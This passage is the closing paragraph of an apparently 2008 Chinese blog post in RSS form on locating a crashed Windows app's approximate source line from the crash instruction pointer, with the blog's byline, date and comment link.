We have just gone from a crashed app to the (approximate) source line with just one piece of information - the crash <strong>instruction pointer</strong>. We have obtained this crash ip fairly simply - without having to modify any existing source code. The cost: the size of the release app (Test1.exe) went from 21 KB to 29 KB. For most commercial apps today, this size differential is insignificant.<img src ="http://www.cnitblog.com/houcy/aggbug/41699.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/houcy/" target="_blank">挑灯看剑</a> 2008-03-30 23:36 <a href="http://www.cnitblog.com/houcy/archive/2008/03/30/41699.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>